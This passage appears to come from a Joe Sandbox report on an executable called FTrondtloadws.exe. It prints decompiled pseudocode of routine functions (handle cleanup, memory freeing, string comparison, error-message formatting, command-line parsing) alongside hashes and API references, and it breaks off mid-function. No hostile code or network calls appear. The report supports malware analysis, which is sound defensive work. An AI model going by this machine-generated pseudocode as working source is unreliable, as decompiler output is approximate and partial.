Opcode Fuzzy Hash: 241157490eb2e01362b87710ac87d7309df3bc017e55f6d4f2480cd7073be236
Instruction Fuzzy Hash: 8C01A7726056957F272116FB5CCDD7FA96EEEC6BA03154129FD04C6200EE708D03D1B1

Uniqueness

Uniqueness Score: -1.00%

Function 00CD21E6 Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00CD21E6(void* __ecx) {
				intOrPtr _v16;
				void* __ebp;
				int _t16;
				long* _t20;
				void** _t26;
				void* _t28;
				void* _t30;
				intOrPtr _t31;

				_t22 = __ecx;
				_push(0xffffffff);
				_push(0xcf365f);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t31;
				_t28 = __ecx;
				E00CD24BF(__ecx);
				_t20 = 0;
				 *((char*)(__ecx + 0x314)) = 1;
				ReleaseSemaphore( *(__ecx + 0x318), 0x40, 0);
				if( *((intOrPtr*)(_t28 + 0x104)) > 0) {
					_t26 = _t28 + 4;
					do {
						E00CD22DC(_t22, _t30,  *_t26);
						CloseHandle( *_t26);
						_t20 = _t20 + 1;
						_t26 =  &(_t26[1]);
					} while (_t20 <  *((intOrPtr*)(_t28 + 0x104)));
				}
				DeleteCriticalSection(_t28 + 0x320);
				CloseHandle( *(_t28 + 0x318));
				_t16 = CloseHandle( *(_t28 + 0x31c));
				 *[fs:0x0] = _v16;
				return _t16;
			}

0x00cd21e6
0x00cd21ef
0x00cd21f1
0x00cd21f6
0x00cd21f7
0x00cd2201
0x00cd2203
0x00cd2208
0x00cd220a
0x00cd221a
0x00cd2226
0x00cd2228
0x00cd222b
0x00cd222d
0x00cd2234
0x00cd223a
0x00cd223b
0x00cd223e
0x00cd222b
0x00cd224d
0x00cd2259
0x00cd2265
0x00cd2270
0x00cd2279

APIs

Part of subcall function 00CD24BF: ResetEvent.KERNEL32(?), ref: 00CD24D1
Part of subcall function 00CD24BF: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00CD24E5

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00CD221A
CloseHandle.KERNEL32(?,?), ref: 00CD2234
DeleteCriticalSection.KERNEL32(?), ref: 00CD224D
CloseHandle.KERNEL32(?), ref: 00CD2259
CloseHandle.KERNEL32(?), ref: 00CD2265

Part of subcall function 00CD22DC: WaitForSingleObject.KERNEL32(?,000000FF,00CD23F9,?,?,00CD246F,?,?,?,?,?,00CD2459), ref: 00CD22E2
Part of subcall function 00CD22DC: GetLastError.KERNEL32(?,?,00CD246F,?,?,?,?,?,00CD2459), ref: 00CD22EE

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 28b20c9206973c4739346a905a2931c26dfdb1792112569350e26cb14612388d
Instruction ID: 42321c0e5c2babd8caca14b22e83902661d6d4a77b0b12fa93523a14830e6a7e
Opcode Fuzzy Hash: 28b20c9206973c4739346a905a2931c26dfdb1792112569350e26cb14612388d
Instruction Fuzzy Hash: 81017172000744EFC7269B64DC84FDBBBA9FB48710F01092AF36B92260CB757A55DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00CED80F Relevance: 7.5, APIs: 5, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00CED80F(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0xd00ea0; // 0xd00e94
					if(_t23 != 0) {
						E00CEA4BA(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0xd00ea4; // 0xd2472c
					if(_t24 != 0) {
						E00CEA4BA(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0xd00ea8; // 0xd2472c
					if(_t25 != 0) {
						E00CEA4BA(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0xd00ed0; // 0xd00e98
					if(_t26 != 0) {
						E00CEA4BA(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0xd00ed4; // 0xd24730
					if(_t27 != 0) {
						return E00CEA4BA(_t6);
					}
				}
				return _t6;
			}

0x00ced815
0x00ced81a
0x00ced81e
0x00ced824
0x00ced827
0x00ced82c
0x00ced830
0x00ced836
0x00ced839
0x00ced83e
0x00ced842
0x00ced848
0x00ced84b
0x00ced850
0x00ced854
0x00ced85a
0x00ced85d
0x00ced862
0x00ced863
0x00ced866
0x00ced86c
0x00000000
0x00ced874
0x00ced86c
0x00ced877

APIs

_free.LIBCMT ref: 00CED827

Part of subcall function 00CEA4BA: RtlFreeHeap.NTDLL(00000000,00000000,?,00CED8A6,?,00000000,?,00000000,?,00CED8CD,?,00000007,?,?,00CEDCCA,?), ref: 00CEA4D0
Part of subcall function 00CEA4BA: GetLastError.KERNEL32(?,?,00CED8A6,?,00000000,?,00000000,?,00CED8CD,?,00000007,?,?,00CEDCCA,?,?), ref: 00CEA4E2

_free.LIBCMT ref: 00CED839
_free.LIBCMT ref: 00CED84B
_free.LIBCMT ref: 00CED85D
_free.LIBCMT ref: 00CED86F

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ebf0980a385c3e040a820569b2e9e8facc52d7a9252ecc0ff396c3dd561c51c5
Instruction ID: ccf18a871c4f9841893a2ef2f9737fc8975cc0905d8aad618dd6f3093f9f9992
Opcode Fuzzy Hash: ebf0980a385c3e040a820569b2e9e8facc52d7a9252ecc0ff396c3dd561c51c5
Instruction Fuzzy Hash: A3F062B2500780FFC630EB66E489E1677DABA04310B545C15F45DE76C0CBB4FD8086E0

Uniqueness

Uniqueness Score: -1.00%

Function 00CD3308 Relevance: 7.5, APIs: 5, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CD3308(void* __eflags, short* _a4, short* _a8, int _a12) {
				void* _t10;
				int _t22;
				int _t23;

				_t10 = E00CE4DF3(_a4);
				_t23 = _a12;
				if(_t10 + 1 >= _t23) {
					_t22 = _t23;
				} else {
					_t4 = E00CE4DF3(_a4) + 1; // 0x1
					_t22 = _t4;
				}
				if(E00CE4DF3(_a8) + 1 < _t23) {
					_t7 = E00CE4DF3(_a8) + 1; // 0x1
					_t23 = _t7;
				}
				return CompareStringW(0x400, 0x1001, _a4, _t22, _a8, _t23) - 2;
			}

0x00cd3310
0x00cd3315
0x00cd331c
0x00cd332c
0x00cd331e
0x00cd3327
0x00cd3327
0x00cd3327
0x00cd333a
0x00cd3345
0x00cd3345
0x00cd3345
0x00cd3366

APIs

_wcslen.LIBCMT ref: 00CD3310
_wcslen.LIBCMT ref: 00CD3321
_wcslen.LIBCMT ref: 00CD3331
_wcslen.LIBCMT ref: 00CD333F
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,00CCC824,?,?,00000000,?,?,?), ref: 00CD335A

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: 9bc6e85d8afbdd4fb4ca6d102829e4bec7efe2c17f6ab05dd4b1691722214835
Instruction ID: c79bae3734d8677794b193de68b28b24cc2119ed761f66260b9bc26e8c1d0100
Opcode Fuzzy Hash: 9bc6e85d8afbdd4fb4ca6d102829e4bec7efe2c17f6ab05dd4b1691722214835
Instruction Fuzzy Hash: D4F03A32008194BFCF2A2F56EC0ADCE3F26EB45B70B228016F6195E061CE32D652E691

Uniqueness

Uniqueness Score: -1.00%

Function 00CE9B20 Relevance: 7.5, APIs: 5, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00CE9B20(signed int __ecx) {
				intOrPtr _t7;

				asm("lock xadd [eax], ecx");
				if((__ecx | 0xffffffff) == 0) {
					_t7 =  *0xd00e90; // 0x2fa1f28
					if(_t7 != 0xd00c70) {
						E00CEA4BA(_t7);
						 *0xd00e90 = 0xd00c70;
					}
				}
				E00CEA4BA( *0xd242b4);
				 *0xd242b4 = 0;
				E00CEA4BA( *0xd242b8);
				 *0xd242b8 = 0;
				E00CEA4BA( *0xd24700);
				 *0xd24700 = 0;
				E00CEA4BA( *0xd24704);
				 *0xd24704 = 0;
				return 1;
			}

0x00ce9b29
0x00ce9b2d
0x00ce9b2f
0x00ce9b3b
0x00ce9b3e
0x00ce9b44
0x00ce9b44
0x00ce9b3b
0x00ce9b50
0x00ce9b5d
0x00ce9b63
0x00ce9b6e
0x00ce9b74
0x00ce9b7f
0x00ce9b85
0x00ce9b8d
0x00ce9b96

APIs

_free.LIBCMT ref: 00CE9B3E

Part of subcall function 00CEA4BA: RtlFreeHeap.NTDLL(00000000,00000000,?,00CED8A6,?,00000000,?,00000000,?,00CED8CD,?,00000007,?,?,00CEDCCA,?), ref: 00CEA4D0
Part of subcall function 00CEA4BA: GetLastError.KERNEL32(?,?,00CED8A6,?,00000000,?,00000000,?,00CED8CD,?,00000007,?,?,00CEDCCA,?,?), ref: 00CEA4E2

_free.LIBCMT ref: 00CE9B50
_free.LIBCMT ref: 00CE9B63
_free.LIBCMT ref: 00CE9B74
_free.LIBCMT ref: 00CE9B85

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e34c394d3ada3d6ef526fb5d735c8c2deb02190e0044e79c46dc6ec6434acbbd
Instruction ID: a8e517ecd025d6da8f13ba7b81c0dc72de6eb49ddf3b954be7d92bcaf6a96020
Opcode Fuzzy Hash: e34c394d3ada3d6ef526fb5d735c8c2deb02190e0044e79c46dc6ec6434acbbd
Instruction Fuzzy Hash: 21F0FE708017A0EFD6216F16FC4A6053BE2FB357217016626FC29D73B1CBB51942ABE5

Uniqueness

Uniqueness Score: -1.00%

Function 00CD2918 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E00CD2918(intOrPtr* __ecx) {
				char _v516;
				char _v5124;
				signed int _t33;
				void* _t45;
				signed int _t46;
				signed int _t47;
				signed int _t48;
				signed int _t51;
				void* _t61;
				void* _t62;

				E00CDFE20(0x1400);
				_t57 = __ecx;
				_t33 =  *(__ecx + 0x48);
				_t61 = _t33 - 0x74;
				if(_t61 > 0) {
					__eflags = _t33 - 0x84;
					if(_t33 == 0x84) {
						E00CDE664();
						__eflags =  *(_t57 + 4);
						if( *(_t57 + 4) == 0) {
							E00CD1908( &_v5124, E00CCF917(0xc9), 0xa00);
						} else {
							E00CC4A00( &_v5124, 0xa00, E00CCF917(0xca),  *(_t57 + 4));
						}
						return E00CDB7C4( *0xd0a468,  &_v5124, E00CCF917(0x96), 0);
					}
				} else {
					if(_t61 == 0) {
						_push(0x456);
						L38:
						_push(E00CCF917());
						_push( *_t57);
						L19:
						_t45 = E00CDC806();
						L11:
						return _t45;
					}
					_t62 = _t33 - 0x16;
					if(_t62 > 0) {
						__eflags = _t33 - 0x38;
						if(__eflags > 0) {
							_t46 = _t33 - 0x39;
							__eflags = _t46;
							if(_t46 == 0) {
								_push(0x8c);
								goto L38;
							}
							_t47 = _t46 - 1;
							__eflags = _t47;
							if(_t47 == 0) {
								_push(0x6f);
								goto L38;
							}
							_t48 = _t47 - 1;
							__eflags = _t48;
							if(_t48 == 0) {
								_push( *((intOrPtr*)(__ecx + 4)));
								_push(0x406);
								goto L13;
							}
							_t51 = _t48 - 9;
							__eflags = _t51;
							if(_t51 == 0) {
								_push(0x343);
								goto L38;
							}
							_t33 = _t51 - 1;
							__eflags = _t33;
							if(_t33 == 0) {
								_push(0x86);
								goto L38;
							}
						} else {
							if(__eflags == 0) {
								_push(0x67);
								goto L38;
							}
							_t33 = _t33 - 0x17;
							__eflags = _t33 - 0xb;
							if(_t33 <= 0xb) {
								switch( *((intOrPtr*)(_t33 * 4 +  &M00CD2C28))) {
									case 0:
										_push(0xde);
										goto L18;
									case 1:
										_push(0xe1);
										goto L18;
									case 2:
										_push(0xb4);
										goto L38;
									case 3:
										_push(0x69);
										goto L38;
									case 4:
										_push(0x6a);
										goto L38;
									case 5:
										_push( *((intOrPtr*)(__esi + 4)));
										_push(0x68);
										goto L13;
									case 6:
										_push(0x46f);
										goto L38;
									case 7:
										_push(0x470);
										goto L38;
									case 8:
										_push( *((intOrPtr*)(__esi + 4)));
										_push(0x471);
										goto L13;
									case 9:
										goto L64;
									case 0xa:
										_push( *((intOrPtr*)(__esi + 4)));
										_push(0x71);
										goto L13;
									case 0xb:
										E00CCF917(0xc8) =  &_v516;
										__eax = E00CC4A00( &_v516, 0x100,  &_v516,  *((intOrPtr*)(__esi + 4)));
										_push( *((intOrPtr*)(__esi + 8)));
										__eax =  &_v516;
										_push( &_v516);
										return E00CDC806( *__esi, L"%s: %s");
								}
							}
						}
					} else {
						if(_t62 == 0) {
							_push( *__ecx);
							_push(0xdd);
							L23:
							E00CCF917();
							L7:
							_push(0);
							L8:
							return E00CDC806();
						}
						if(_t33 <= 0x15) {
							switch( *((intOrPtr*)(_t33 * 4 +  &M00CD2BD0))) {
								case 0:
									_push( *__esi);
									_push(L"%ls");
									_push(">");
									goto L8;
								case 1:
									_push( *__ecx);
									_push(L"%ls");
									goto L7;
								case 2:
									_push(0);
									__eax = E00CDBF6D();
									goto L11;
								case 3:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x7b);
									goto L13;
								case 4:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x7a);
									goto L13;
								case 5:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x7c);
									goto L13;
								case 6:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0xca);
									goto L13;
								case 7:
									_push(0x70);
									L18:
									_push(E00CCF917());
									_push(0);
									goto L19;
								case 8:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x72);
									goto L13;
								case 9:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x78);
									goto L13;
								case 0xa:
									_push( *__esi);
									_push(0x85);
									goto L23;
								case 0xb:
									_push( *__esi);
									_push(0x204);
									goto L23;
								case 0xc:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x84);
									goto L13;
								case 0xd:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x83);
									goto L13;
								case 0xe:
									goto L64;
								case 0xf:
									_push( *((intOrPtr*)(__esi + 8)));
									_push( *((intOrPtr*)(__esi + 4)));
									__eax = E00CCF917(0xd2);
									return __eax;
								case 0x10:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x79);
									goto L13;
								case 0x11:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0xdc);
									L13:
									_push(E00CCF917());
									_push( *_t57);
									goto L8;
							}
						}
					}
				}
				L64:
				return _t33;
			}

0x00cd2920
0x00cd2926
0x00cd2928
0x00cd292b
0x00cd292e
0x00cd2b59
0x00cd2b5e
0x00cd2b60
0x00cd2b65
0x00cd2b69
0x00cd2ba6
0x00cd2b6b
0x00cd2b85
0x00cd2b8a
0x00000000
0x00cd2bc5
0x00cd2934
0x00cd2934
0x00cd2b4f
0x00cd2a78
0x00cd2a7d
0x00cd2a7e
0x00cd29bb
0x00cd29bb
0x00cd2984
0x00000000
0x00cd2984
0x00cd293a
0x00cd293d
0x00cd2a3d
0x00cd2a40
0x00cd2b00
0x00cd2b00
0x00cd2b03
0x00cd2b45
0x00000000
0x00cd2b45
0x00cd2b05
0x00cd2b05
0x00cd2b08
0x00cd2b3e
0x00000000
0x00cd2b3e
0x00cd2b0a
0x00cd2b0a
0x00cd2b0d
0x00cd2b31
0x00cd2b34
0x00000000
0x00cd2b34
0x00cd2b0f
0x00cd2b0f
0x00cd2b12
0x00cd2b27
0x00000000
0x00cd2b27
0x00cd2b14
0x00cd2b14
0x00cd2b17
0x00cd2b1d
0x00000000
0x00cd2b1d
0x00cd2a46
0x00cd2a46
0x00cd2af9
0x00000000
0x00cd2af9
0x00cd2a4c
0x00cd2a4f
0x00cd2a52
0x00cd2a58
0x00000000
0x00cd2a5f
0x00000000
0x00000000
0x00cd2a69
0x00000000
0x00000000
0x00cd2a73
0x00000000
0x00000000
0x00cd2a85
0x00000000
0x00000000
0x00cd2a89
0x00000000
0x00000000
0x00cd2a8d
0x00cd2a90
0x00000000
0x00000000
0x00cd2a97
0x00000000
0x00000000
0x00cd2a9e
0x00000000
0x00000000
0x00cd2aa5
0x00cd2aa8
0x00000000
0x00000000
0x00000000
0x00000000
0x00cd2ab2
0x00cd2ab5
0x00000000
0x00000000
0x00cd2aca
0x00cd2ad6
0x00cd2adb
0x00cd2ade
0x00cd2ae4
0x00000000
0x00000000
0x00cd2a58
0x00cd2a52
0x00cd2943
0x00cd2943
0x00cd2a34
0x00cd2a36
0x00cd29d8
0x00cd29d8
0x00cd2960
0x00cd2960
0x00cd2962
0x00000000
0x00cd2967
0x00cd294c
0x00cd2952
0x00000000
0x00cd296f
0x00cd2971
0x00cd2976
0x00000000
0x00000000
0x00cd2959
0x00cd295b
0x00000000
0x00000000
0x00cd297d
0x00cd297f
0x00000000
0x00000000
0x00cd298a
0x00cd298d
0x00000000
0x00000000
0x00cd2999
0x00cd299c
0x00000000
0x00000000
0x00cd29a0
0x00cd29a3
0x00000000
0x00000000
0x00cd29a7
0x00cd29aa
0x00000000
0x00000000
0x00cd29b1
0x00cd29b3
0x00cd29b8
0x00cd29b9
0x00000000
0x00000000
0x00cd29c3
0x00cd29c6
0x00000000
0x00000000
0x00cd29ca
0x00cd29cd
0x00000000
0x00000000
0x00cd29d1
0x00cd29d3
0x00000000
0x00000000
0x00cd29e0
0x00cd29e2
0x00000000
0x00000000
0x00cd29e9
0x00cd29ec
0x00000000
0x00000000
0x00cd29f3
0x00cd29f6
0x00000000
0x00000000
0x00000000
0x00000000
0x00cd29fd
0x00cd2a00
0x00cd2a08
0x00000000
0x00000000
0x00cd2a1d
0x00cd2a20
0x00000000
0x00000000
0x00cd2a27
0x00cd2a2a
0x00cd298f
0x00cd2994
0x00cd2995
0x00000000
0x00000000
0x00cd2952
0x00cd294c
0x00cd293d
0x00cd2bcc
0x00cd2bcc

APIs

_swprintf.LIBCMT ref: 00CD2AD6
_swprintf.LIBCMT ref: 00CD2B85

Strings

%ls, xrefs: 00CD295B, 00CD2971
%s: %s, xrefs: 00CD2AE5

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: ea6fabf35cc92c506c71e263cb55ce4f0dfea8f245316b5fbb37242f7f8d8643
Instruction ID: 11204838d5d0689b6ff72735c91133be97e21c56a0335f935ba42ec179a30e6a
Opcode Fuzzy Hash: ea6fabf35cc92c506c71e263cb55ce4f0dfea8f245316b5fbb37242f7f8d8643
Instruction Fuzzy Hash: 4051F831688301FAEA212F958C52F35F755EB34B02F20461BF3DB692E5C6E15950B717

Uniqueness

Uniqueness Score: -1.00%

Function 00CE9180 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00CE9180(void* __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				intOrPtr* _t36;
				struct HINSTANCE__* _t37;
				struct HINSTANCE__* _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				void* _t52;
				struct HINSTANCE__* _t55;
				intOrPtr* _t59;
				struct HINSTANCE__* _t64;
				intOrPtr _t65;

				_t52 = __ecx;
				if(_a4 == 2 || _a4 == 1) {
					E00CECB40(_t52);
					GetModuleFileNameA(0, 0xd24160, 0x104);
					_t49 =  *0xd24708; // 0x2f93340
					 *0xd24710 = 0xd24160;
					if(_t49 == 0 ||  *_t49 == 0) {
						_t49 = 0xd24160;
					}
					_v8 = 0;
					_v16 = 0;
					E00CE92A4(_t52, _t49, 0, 0,  &_v8,  &_v16);
					_t64 = E00CE9419(_v8, _v16, 1);
					if(_t64 != 0) {
						E00CE92A4(_t52, _t49, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
						if(_a4 != 1) {
							_v12 = 0;
							_push( &_v12);
							_t50 = E00CEC653(_t64);
							if(_t50 == 0) {
								_t59 = _v12;
								_t55 = 0;
								_t36 = _t59;
								if( *_t59 == 0) {
									L15:
									_t37 = 0;
									 *0xd246fc = _t55;
									_v12 = 0;
									_t50 = 0;
									 *0xd24700 = _t59;
									L16:
									E00CEA4BA(_t37);
									_v12 = 0;
									goto L17;
								} else {
									goto L14;
								}
								do {
									L14:
									_t36 = _t36 + 4;
									_t55 =  &(_t55->i);
								} while ( *_t36 != 0);
								goto L15;
							}
							_t37 = _v12;
							goto L16;
						}
						 *0xd246fc = _v8 - 1;
						_t43 = _t64;
						_t64 = 0;
						 *0xd24700 = _t43;
						goto L10;
					} else {
						_t44 = E00CEA63B();
						_push(0xc);
						_pop(0);
						 *_t44 = 0;
						L10:
						_t50 = 0;
						L17:
						E00CEA4BA(_t64);
						return _t50;
					}
				} else {
					_t45 = E00CEA63B();
					_t65 = 0x16;
					 *_t45 = _t65;
					E00CE5009();
					return _t65;
				}
			}

0x00ce9180
0x00ce918d
0x00ce91ad
0x00ce91c0
0x00ce91c6
0x00ce91cc
0x00ce91d4
0x00ce91db
0x00ce91db
0x00ce91e0
0x00ce91e7
0x00ce91ee
0x00ce9200
0x00ce9207
0x00ce9226
0x00ce9232
0x00ce924d
0x00ce9250
0x00ce9257
0x00ce925d
0x00ce9264
0x00ce9267
0x00ce9269
0x00ce926d
0x00ce9277
0x00ce9277
0x00ce9279
0x00ce927f
0x00ce9282
0x00ce9284
0x00ce928a
0x00ce928b
0x00ce9291
0x00000000
0x00000000
0x00000000
0x00000000
0x00ce926f
0x00ce926f
0x00ce926f
0x00ce9272
0x00ce9273
0x00000000
0x00ce926f
0x00ce925f
0x00000000
0x00ce925f
0x00ce9238
0x00ce923d
0x00ce923f
0x00ce9241
0x00000000
0x00ce9209
0x00ce9209
0x00ce920e
0x00ce9210
0x00ce9211
0x00ce9246
0x00ce9246
0x00ce9294
0x00ce9295
0x00000000
0x00ce929e
0x00ce9195
0x00ce9195
0x00ce919c
0x00ce919d
0x00ce919f
0x00000000
0x00ce91a4

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\FTrondtloadws.exe,00000104), ref: 00CE91C0
_free.LIBCMT ref: 00CE928B
_free.LIBCMT ref: 00CE9295

Strings

C:\Users\user\Desktop\FTrondtloadws.exe, xrefs: 00CE91B7, 00CE91BE, 00CE91ED, 00CE9225

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\FTrondtloadws.exe
API String ID: 2506810119-3994752787
Opcode ID: 93d3517309de893c6ce919bd8396d12b669a7a85d84e8942e70d851c08f1f4b9
Instruction ID: 1145de06563fb95c1f6672580cbfd4b183e7f933499f09b21a4eb1a11df5dd51
Opcode Fuzzy Hash: 93d3517309de893c6ce919bd8396d12b669a7a85d84e8942e70d851c08f1f4b9
Instruction Fuzzy Hash: 48319A71A00298BFDF21DB9BD885DAEBBFCEB95710B1040A6F91497311D7B08E419BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00CE41B6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 61%

			E00CE41B6(void* __ecx, void* __edx, signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v56;
				void _v60;
				signed char* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t74;
				void* _t75;
				char _t76;
				signed int _t78;
				signed int _t80;
				signed char* _t81;
				signed int _t82;
				signed int _t83;
				intOrPtr* _t87;
				void* _t90;
				signed char* _t93;
				intOrPtr* _t96;
				signed char _t97;
				signed int _t98;
				signed int _t99;
				intOrPtr* _t101;
				signed int _t102;
				signed int _t103;
				signed char _t108;
				signed char* _t111;
				signed int _t112;
				void* _t113;
				signed char* _t116;
				void* _t121;
				signed int _t123;
				void* _t130;
				void* _t131;

				_t110 = __edx;
				_t100 = __ecx;
				_t96 = _a4;
				_t132 =  *_t96 - 0x80000003;
				if( *_t96 == 0x80000003) {
					return _t74;
				} else {
					_push(_t121);
					_push(_t113);
					_t75 = E00CE3ACC(_t96, __ecx, __edx, _t113, _t121, _t132);
